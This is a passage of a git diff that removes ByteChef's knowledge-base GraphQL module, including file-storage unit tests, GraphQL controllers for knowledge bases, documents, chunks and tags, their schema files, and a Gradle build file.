-            .thenReturn(expectedContent.getBytes(StandardCharsets.UTF_8));
-
-        String result = knowledgeBaseFileStorage.readChunkContent(fileEntry);
-
-        assertThat(result).isEqualTo(expectedContent);
-
-        verify(fileStorageService).readFileToBytes(KNOWLEDGE_BASE_CHUNKS_DIR, fileEntry);
-    }
-
-    @Test
-    void testReadDocumentToBytes() {
-        FileEntry fileEntry = new FileEntry("document.txt", "file://test/document.txt");
-        byte[] expectedBytes = "Document content".getBytes(StandardCharsets.UTF_8);
-
-        when(fileStorageService.readFileToBytes(KNOWLEDGE_BASE_DOCUMENTS_DIR, fileEntry)).thenReturn(expectedBytes);
-
-        byte[] result = knowledgeBaseFileStorage.readDocumentToBytes(fileEntry);
-
-        assertThat(result).isEqualTo(expectedBytes);
-
-        verify(fileStorageService).readFileToBytes(KNOWLEDGE_BASE_DOCUMENTS_DIR, fileEntry);
-    }
-
-    @Test
-    void testGetDocumentInputStream() {
-        FileEntry fileEntry = new FileEntry("document.txt", "file://test/document.txt");
-        InputStream expectedInputStream = new ByteArrayInputStream("Document content".getBytes(StandardCharsets.UTF_8));
-
-        when(fileStorageService.getInputStream(KNOWLEDGE_BASE_DOCUMENTS_DIR, fileEntry))
-            .thenReturn(expectedInputStream);
-
-        InputStream result = knowledgeBaseFileStorage.getDocumentInputStream(fileEntry);
-
-        assertThat(result).isEqualTo(expectedInputStream);
-
-        verify(fileStorageService).getInputStream(KNOWLEDGE_BASE_DOCUMENTS_DIR, fileEntry);
-    }
-
-    @Test
-    void testDeleteDocument() {
-        FileEntry fileEntry = new FileEntry("document.txt", "file://test/document.txt");
-
-        knowledgeBaseFileStorage.deleteDocument(fileEntry);
-
-        verify(fileStorageService).deleteFile(KNOWLEDGE_BASE_DOCUMENTS_DIR, fileEntry);
-    }
-
-    @Test
-    void testDeleteChunkContent() {
-        FileEntry fileEntry = new FileEntry("123.txt", "file://test/chunks/123.txt");
-
-        knowledgeBaseFileStorage.deleteChunkContent(fileEntry);
-
-        verify(fileStorageService).deleteFile(KNOWLEDGE_BASE_CHUNKS_DIR, fileEntry);
-    }
-
-    @Test
-    void testStoreDocumentWithSpecialCharactersInFilename() {
-        String filename = "document with spaces & special-chars.txt";
-        InputStream inputStream = new ByteArrayInputStream("Content".getBytes(StandardCharsets.UTF_8));
-        FileEntry expectedFileEntry = new FileEntry(filename, "file://test/" + filename);
-
-        when(
-            fileStorageService.storeFileContent(eq(KNOWLEDGE_BASE_DOCUMENTS_DIR), eq(filename), any(InputStream.class)))
-                .thenReturn(expectedFileEntry);
-
-        FileEntry result = knowledgeBaseFileStorage.storeDocument(filename, inputStream);
-
-        assertThat(result).isEqualTo(expectedFileEntry);
-    }
-
-    @Test
-    void testReadChunkContentWithUtf8Characters() {
-        FileEntry fileEntry = new FileEntry("123.txt", "file://test/chunks/123.txt");
-        String expectedContent = "Content with UTF-8: 你好世界 🌍";
-
-        when(fileStorageService.readFileToBytes(KNOWLEDGE_BASE_CHUNKS_DIR, fileEntry))
-            .thenReturn(expectedContent.getBytes(StandardCharsets.UTF_8));
-
-        String result = knowledgeBaseFileStorage.readChunkContent(fileEntry);
-
-        assertThat(result).isEqualTo(expectedContent);
-    }
-
-    @Test
-    void testStoreChunkContentWithUtf8Characters() {
-        long chunkId = 456L;
-        String content = "Content with UTF-8: 你好世界 🌍";
-        FileEntry expectedFileEntry = new FileEntry(chunkId + ".txt", "file://test/chunks/" + chunkId + ".txt");
-
-        when(fileStorageService.storeFileContent(
-            eq(KNOWLEDGE_BASE_CHUNKS_DIR), eq(chunkId + ".txt"), any(InputStream.class))).thenReturn(expectedFileEntry);
-
-        FileEntry result = knowledgeBaseFileStorage.storeChunkContent(chunkId, content);
-
-        assertThat(result).isEqualTo(expectedFileEntry);
-    }
-
-    @Test
-    void testStoreDocumentWithEmptyContent() {
-        String filename = "empty.txt";
-        InputStream inputStream = new ByteArrayInputStream(new byte[0]);
-        FileEntry expectedFileEntry = new FileEntry(filename, "file://test/" + filename);
-
-        when(
-            fileStorageService.storeFileContent(eq(KNOWLEDGE_BASE_DOCUMENTS_DIR), eq(filename), any(InputStream.class)))
-                .thenReturn(expectedFileEntry);
-
-        FileEntry result = knowledgeBaseFileStorage.storeDocument(filename, inputStream);
-
-        assertThat(result).isEqualTo(expectedFileEntry);
-    }
-
-    @Test
-    void testStoreChunkContentWithEmptyString() {
-        long chunkId = 789L;
-        String content = "";
-        FileEntry expectedFileEntry = new FileEntry(chunkId + ".txt", "file://test/chunks/" + chunkId + ".txt");
-
-        when(fileStorageService.storeFileContent(
-            eq(KNOWLEDGE_BASE_CHUNKS_DIR), eq(chunkId + ".txt"), any(InputStream.class))).thenReturn(expectedFileEntry);
-
-        FileEntry result = knowledgeBaseFileStorage.storeChunkContent(chunkId, content);
-
-        assertThat(result).isEqualTo(expectedFileEntry);
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/build.gradle.kts b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/build.gradle.kts
deleted file mode 100644
index b8599efde46..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/build.gradle.kts
+++ /dev/null
@@ -1,15 +0,0 @@
-dependencies {
-    implementation(project(":server:libs:automation:automation-knowledge-base:automation-knowledge-base-api"))
-    implementation(project(":server:libs:platform:platform-configuration:platform-configuration-api"))
-    implementation(project(":server:libs:platform:platform-tag:platform-tag-api"))
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
-    implementation("org.springframework:spring-context")
-    implementation("org.springframework.graphql:spring-graphql")
-    implementation("org.springframework:spring-web")
-    implementation("io.projectreactor:reactor-core")
-
-    testImplementation("org.springframework:spring-webflux")
-    testImplementation("org.springframework.boot:spring-boot-starter-webmvc-test")
-    testImplementation("org.springframework.boot:spring-boot-starter-graphql-test")
-    testImplementation(project(":server:libs:test:test-int-support"))
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentChunkGraphQlController.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentChunkGraphQlController.java
deleted file mode 100644
index 4633f92ca0b..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentChunkGraphQlController.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.web.graphql;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseDocumentChunkFacade;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.Map;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.graphql.data.method.annotation.SchemaMapping;
-import org.springframework.stereotype.Controller;
-
-@Controller
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-@SuppressFBWarnings("EI")
-class KnowledgeBaseDocumentChunkGraphQlController {
-
-    private final KnowledgeBaseDocumentChunkFacade knowledgeBaseDocumentChunkFacade;
-
-    @SuppressFBWarnings("EI")
-    KnowledgeBaseDocumentChunkGraphQlController(KnowledgeBaseDocumentChunkFacade knowledgeBaseDocumentChunkFacade) {
-        this.knowledgeBaseDocumentChunkFacade = knowledgeBaseDocumentChunkFacade;
-    }
-
-    @SchemaMapping(typeName = "KnowledgeBaseDocumentChunk", field = "content")
-    String chunkContent(KnowledgeBaseDocumentChunk chunk) {
-        return chunk.getTextContent();
-    }
-
-    @SchemaMapping(typeName = "KnowledgeBaseDocumentChunk", field = "metadata")
-    Map<String, ?> chunkMetadata(KnowledgeBaseDocumentChunk chunk) {
-        return chunk.getMetadata();
-    }
-
-    @SchemaMapping(typeName = "KnowledgeBaseDocumentChunk", field = "score")
-    Float chunkScore(KnowledgeBaseDocumentChunk chunk) {
-        return chunk.getScore();
-    }
-
-    @MutationMapping
-    KnowledgeBaseDocumentChunk updateKnowledgeBaseDocumentChunk(
-        @Argument Long id,
-        @Argument("knowledgeBaseDocumentChunk") KnowledgeBaseDocumentChunkInput knowledgeBaseDocumentChunk) {
-
-        return knowledgeBaseDocumentChunkFacade.updateKnowledgeBaseDocumentChunk(
-            id, knowledgeBaseDocumentChunk.content());
-    }
-
-    @MutationMapping
-    boolean deleteKnowledgeBaseDocumentChunk(@Argument Long id) {
-        knowledgeBaseDocumentChunkFacade.deleteKnowledgeBaseDocumentChunk(id);
-
-        return true;
-    }
-
-    record KnowledgeBaseDocumentChunkInput(String content) {
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentGraphQlController.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentGraphQlController.java
deleted file mode 100644
index a8027ff7d4c..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentGraphQlController.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.web.graphql;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.dto.DocumentStatusUpdate;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseDocumentChunkFacade;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseDocumentFacade;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentService;
-import com.bytechef.platform.tag.domain.Tag;
-import com.bytechef.platform.tag.service.TagService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.graphql.data.method.annotation.SchemaMapping;
-import org.springframework.stereotype.Controller;
-
-@Controller
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-@SuppressFBWarnings("EI")
-class KnowledgeBaseDocumentGraphQlController {
-
-    private final KnowledgeBaseDocumentChunkFacade knowledgeBaseDocumentChunkFacade;
-    private final KnowledgeBaseDocumentFacade knowledgeBaseDocumentFacade;
-    private final KnowledgeBaseDocumentService knowledgeBaseDocumentService;
-    private final TagService tagService;
-
-    @SuppressFBWarnings("EI")
-    KnowledgeBaseDocumentGraphQlController(
-        KnowledgeBaseDocumentChunkFacade knowledgeBaseDocumentChunkFacade,
-        KnowledgeBaseDocumentFacade knowledgeBaseDocumentFacade,
-        KnowledgeBaseDocumentService knowledgeBaseDocumentService, TagService tagService) {
-
-        this.knowledgeBaseDocumentChunkFacade = knowledgeBaseDocumentChunkFacade;
-        this.knowledgeBaseDocumentFacade = knowledgeBaseDocumentFacade;
-        this.knowledgeBaseDocumentService = knowledgeBaseDocumentService;
-        this.tagService = tagService;
-    }
-
-    @SchemaMapping(typeName = "KnowledgeBaseDocument", field = "chunks")
-    List<KnowledgeBaseDocumentChunk> documentChunks(KnowledgeBaseDocument knowledgeBaseDocument) {
-        return knowledgeBaseDocumentChunkFacade.getKnowledgeBaseDocumentChunksByDocumentId(
-            knowledgeBaseDocument.getId());
-    }
-
-    @SchemaMapping(typeName = "KnowledgeBaseDocument", field = "tags")
-    List<Tag> documentTags(KnowledgeBaseDocument document) {
-        List<Long> tagIds = document.getTagIds();
-
-        if (tagIds == null || tagIds.isEmpty()) {
-            return List.of();
-        }
-
-        return tagService.getTags(tagIds);
-    }
-
-    @QueryMapping
-    KnowledgeBaseDocument knowledgeBaseDocument(@Argument Long id) {
-        return knowledgeBaseDocumentService.getKnowledgeBaseDocument(id);
-    }
-
-    @QueryMapping
-    DocumentStatusUpdate knowledgeBaseDocumentStatus(@Argument Long id) {
-        return knowledgeBaseDocumentService.getKnowledgeBaseDocumentStatus(id);
-    }
-
-    @MutationMapping
-    boolean deleteKnowledgeBaseDocument(@Argument Long id) {
-        knowledgeBaseDocumentFacade.deleteKnowledgeBaseDocument(id);
-
-        return true;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentTagGraphQlController.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentTagGraphQlController.java
deleted file mode 100644
index 3492a2a002f..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentTagGraphQlController.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.web.graphql;
-
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentTagService;
-import com.bytechef.platform.tag.domain.Tag;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.stream.Collectors;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-@SuppressFBWarnings("EI")
-public class KnowledgeBaseDocumentTagGraphQlController {
-
-    private final KnowledgeBaseDocumentTagService knowledgeBaseDocumentTagService;
-
-    @SuppressFBWarnings("EI")
-    public KnowledgeBaseDocumentTagGraphQlController(KnowledgeBaseDocumentTagService knowledgeBaseDocumentTagService) {
-        this.knowledgeBaseDocumentTagService = knowledgeBaseDocumentTagService;
-    }
-
-    @QueryMapping
-    public List<Tag> knowledgeBaseDocumentTags() {
-        return knowledgeBaseDocumentTagService.getAllTags();
-    }
-
-    @QueryMapping
-    public List<KnowledgeBaseDocumentTagsEntry> knowledgeBaseDocumentTagsByDocument() {
-        return knowledgeBaseDocumentTagService.getTagsByKnowledgeBaseDocumentId()
-            .entrySet()
-            .stream()
-            .map(entry -> new KnowledgeBaseDocumentTagsEntry(entry.getKey(), entry.getValue()))
-            .toList();
-    }
-
-    @MutationMapping
-    public boolean updateKnowledgeBaseDocumentTags(@Argument UpdateKnowledgeBaseDocumentTagsInput input) {
-        List<Tag> tags = input.tags() == null ? List.of() : input.tags()
-            .stream()
-            .map(tagInput -> {
-                Tag tag = new Tag();
-
-                if (tagInput.id() != null) {
-                    tag.setId(tagInput.id());
-                }
-
-                tag.setName(tagInput.name());
-
-                return tag;
-            })
-            .collect(Collectors.toList());
-
-        knowledgeBaseDocumentTagService.updateTags(input.knowledgeBaseDocumentId(), tags);
-
-        return true;
-    }
-
-    public record KnowledgeBaseDocumentTagsEntry(Long knowledgeBaseDocumentId, List<Tag> tags) {
-    }
-
-    public record UpdateKnowledgeBaseDocumentTagsInput(Long knowledgeBaseDocumentId, List<TagInput> tags) {
-    }
-
-    public record TagInput(Long id, String name) {
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseGraphQlController.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseGraphQlController.java
deleted file mode 100644
index aa42a09bed4..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseGraphQlController.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.web.graphql;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.facade.KnowledgeBaseFacade;
-import com.bytechef.automation.knowledgebase.facade.WorkspaceKnowledgeBaseFacade;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseService;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.graphql.data.method.annotation.SchemaMapping;
-import org.springframework.stereotype.Controller;
-
-@Controller
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-@SuppressFBWarnings("EI")
-class KnowledgeBaseGraphQlController {
-
-    private final KnowledgeBaseDocumentService knowledgeBaseDocumentService;
-    private final KnowledgeBaseFacade knowledgeBaseFacade;
-    private final KnowledgeBaseService knowledgeBaseService;
-    private final WorkspaceKnowledgeBaseFacade workspaceKnowledgeBaseFacade;
-
-    @SuppressFBWarnings("EI")
-    KnowledgeBaseGraphQlController(
-        KnowledgeBaseDocumentService knowledgeBaseDocumentService, KnowledgeBaseFacade knowledgeBaseFacade,
-        KnowledgeBaseService knowledgeBaseService, WorkspaceKnowledgeBaseFacade workspaceKnowledgeBaseFacade) {
-
-        this.knowledgeBaseDocumentService = knowledgeBaseDocumentService;
-        this.knowledgeBaseFacade = knowledgeBaseFacade;
-        this.knowledgeBaseService = knowledgeBaseService;
-        this.workspaceKnowledgeBaseFacade = workspaceKnowledgeBaseFacade;
-    }
-
-    @SchemaMapping(typeName = "KnowledgeBase", field = "documents")
-    List<KnowledgeBaseDocument> documents(KnowledgeBase knowledgeBase) {
-        return knowledgeBaseDocumentService.getKnowledgeBaseDocuments(knowledgeBase.getId());
-    }
-
-    @QueryMapping
-    List<KnowledgeBase> knowledgeBases(@Argument Long workspaceId) {
-        return workspaceKnowledgeBaseFacade.getWorkspaceKnowledgeBases(workspaceId);
-    }
-
-    @QueryMapping
-    KnowledgeBase knowledgeBase(@Argument Long id) {
-        return knowledgeBaseService.getKnowledgeBase(id);
-    }
-
-    @QueryMapping
-    List<KnowledgeBaseDocumentChunk> searchKnowledgeBase(
-        @Argument Long id, @Argument String query, @Argument String metadataFilters) {
-
-        return knowledgeBaseFacade.searchKnowledgeBase(id, query, metadataFilters);
-    }
-
-    @MutationMapping
-    KnowledgeBase createKnowledgeBase(@Argument KnowledgeBase knowledgeBase, @Argument Long workspaceId) {
-        return workspaceKnowledgeBaseFacade.createWorkspaceKnowledgeBase(knowledgeBase, workspaceId);
-    }
-
-    @MutationMapping
-    KnowledgeBase updateKnowledgeBase(@Argument Long id, @Argument KnowledgeBase knowledgeBase) {
-        return knowledgeBaseService.updateKnowledgeBase(id, knowledgeBase);
-    }
-
-    @MutationMapping
-    boolean deleteKnowledgeBase(@Argument Long id) {
-        workspaceKnowledgeBaseFacade.deleteWorkspaceKnowledgeBase(id);
-
-        return true;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseTagGraphQlController.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseTagGraphQlController.java
deleted file mode 100644
index e92c395d1c8..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseTagGraphQlController.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.web.graphql;
-
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseTagService;
-import com.bytechef.platform.tag.domain.Tag;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.stream.Collectors;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.graphql.data.method.annotation.Argument;
-import org.springframework.graphql.data.method.annotation.MutationMapping;
-import org.springframework.graphql.data.method.annotation.QueryMapping;
-import org.springframework.stereotype.Controller;
-
-/**
- * @author Ivica Cardic
- */
-@Controller
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-@SuppressFBWarnings("EI")
-public class KnowledgeBaseTagGraphQlController {
-
-    private final KnowledgeBaseTagService knowledgeBaseTagService;
-
-    @SuppressFBWarnings("EI")
-    public KnowledgeBaseTagGraphQlController(KnowledgeBaseTagService knowledgeBaseTagService) {
-        this.knowledgeBaseTagService = knowledgeBaseTagService;
-    }
-
-    @QueryMapping
-    public List<Tag> knowledgeBaseTags() {
-        return knowledgeBaseTagService.getAllTags();
-    }
-
-    @QueryMapping
-    public List<KnowledgeBaseTagsEntry> knowledgeBaseTagsByKnowledgeBase() {
-        return knowledgeBaseTagService.getTagsByKnowledgeBaseId()
-            .entrySet()
-            .stream()
-            .map(entry -> new KnowledgeBaseTagsEntry(entry.getKey(), entry.getValue()))
-            .toList();
-    }
-
-    @MutationMapping
-    public boolean updateKnowledgeBaseTags(@Argument UpdateKnowledgeBaseTagsInput input) {
-        List<Tag> tags = input.tags() == null ? List.of() : input.tags()
-            .stream()
-            .map(tagInput -> {
-                Tag tag = new Tag();
-
-                if (tagInput.id() != null) {
-                    tag.setId(tagInput.id());
-                }
-
-                tag.setName(tagInput.name());
-
-                return tag;
-            })
-            .collect(Collectors.toList());
-
-        knowledgeBaseTagService.updateTags(input.knowledgeBaseId(), tags);
-
-        return true;
-    }
-
-    public record KnowledgeBaseTagsEntry(Long knowledgeBaseId, List<Tag> tags) {
-    }
-
-    public record UpdateKnowledgeBaseTagsInput(Long knowledgeBaseId, List<TagInput> tags) {
-    }
-
-    public record TagInput(Long id, String name) {
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/resources/graphql/automation/knowledge-base/knowledge-base-document-chunk.graphqls b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/resources/graphql/automation/knowledge-base/knowledge-base-document-chunk.graphqls
deleted file mode 100644
index e623f92d913..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/resources/graphql/automation/knowledge-base/knowledge-base-document-chunk.graphqls
+++ /dev/null
@@ -1,16 +0,0 @@
-extend type Mutation {
-    updateKnowledgeBaseDocumentChunk(id: ID!, knowledgeBaseDocumentChunk: KnowledgeBaseDocumentChunkInput!): KnowledgeBaseDocumentChunk
-    deleteKnowledgeBaseDocumentChunk(id: ID!): Boolean
-}
-
-type KnowledgeBaseDocumentChunk {
-    id: ID!
-    knowledgeBaseDocumentId: ID!
-    content: String
-    metadata: Map
-    score: Float
-}
-
-input KnowledgeBaseDocumentChunkInput {
-    content: String!
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/resources/graphql/automation/knowledge-base/knowledge-base-document.graphqls b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/resources/graphql/automation/knowledge-base/knowledge-base-document.graphqls
deleted file mode 100644
index cd2d5a88023..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/resources/graphql/automation/knowledge-base/knowledge-base-document.graphqls
+++ /dev/null
@@ -1,45 +0,0 @@
-extend type Query {
-    knowledgeBaseDocument(id: ID!): KnowledgeBaseDocument
-    knowledgeBaseDocumentStatus(id: ID!): DocumentStatusUpdate
-    knowledgeBaseDocumentTags: [Tag!]!
-    knowledgeBaseDocumentTagsByDocument: [KnowledgeBaseDocumentTagsEntry!]!
-}
-
-extend type Mutation {
-    deleteKnowledgeBaseDocument(id: ID!): Boolean
-    updateKnowledgeBaseDocumentTags(input: UpdateKnowledgeBaseDocumentTagsInput!): Boolean!
-}
-
-type KnowledgeBaseDocument {
-    id: ID!
-    name: String!
-    document: FileEntry
-    status: Int!
-    chunks: [KnowledgeBaseDocumentChunk]
-    tags: [Tag!]
-    createdDate: Long
-}
-
-type FileEntry {
-    name: String!
-    extension: String
-    mimeType: String
-    url: String!
-}
-
-type DocumentStatusUpdate {
-    documentId: ID!
-    status: Int!
-    timestamp: Long!
-    message: String
-}
-
-input UpdateKnowledgeBaseDocumentTagsInput {
-    knowledgeBaseDocumentId: ID!
-    tags: [TagInput!]
-}
-
-type KnowledgeBaseDocumentTagsEntry {
-    knowledgeBaseDocumentId: ID!
-    tags: [Tag!]!
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/resources/graphql/automation/knowledge-base/knowledge-base.graphqls b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/resources/graphql/automation/knowledge-base/knowledge-base.graphqls
deleted file mode 100644
index 1fddcbad689..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/main/resources/graphql/automation/knowledge-base/knowledge-base.graphqls
+++ /dev/null
@@ -1,44 +0,0 @@
-extend type Query {
-    knowledgeBases(workspaceId: ID!): [KnowledgeBase]
-    knowledgeBase(id: ID!): KnowledgeBase
-    knowledgeBaseTags: [Tag!]!
-    knowledgeBaseTagsByKnowledgeBase: [KnowledgeBaseTagsEntry!]!
-    searchKnowledgeBase(id: ID!, query: String!, metadataFilters: String): [KnowledgeBaseDocumentChunk]
-}
-
-extend type Mutation {
-    createKnowledgeBase(knowledgeBase: KnowledgeBaseInput!, workspaceId: ID!): KnowledgeBase
-    updateKnowledgeBase(id: ID!, knowledgeBase: KnowledgeBaseInput!): KnowledgeBase
-    deleteKnowledgeBase(id: ID!): Boolean
-    updateKnowledgeBaseTags(input: UpdateKnowledgeBaseTagsInput!): Boolean!
-}
-
-type KnowledgeBase {
-    id: ID!
-    name: String!
-    description: String
-    maxChunkSize: Int
-    minChunkSizeChars: Int
-    overlap: Int
-    documents: [KnowledgeBaseDocument]
-    createdDate: Long
-    lastModifiedDate: Long
-}
-
-input KnowledgeBaseInput {
-    name: String!
-    description: String
-    maxChunkSize: Int
-    minChunkSizeChars: Int
-    overlap: Int
-}
-
-input UpdateKnowledgeBaseTagsInput {
-    knowledgeBaseId: ID!
-    tags: [TagInput!]
-}
-
-type KnowledgeBaseTagsEntry {
-    knowledgeBaseId: ID!
-    tags: [Tag!]!
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentChunkGraphQlControllerIntTest.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-graphql/src/test/java/com/bytechef/automation/knowledgebase/web/graphql/KnowledgeBaseDocumentChunkGraphQlControllerIntTest.java
deleted file mode 100644
index 07fe985fc86..00000000000
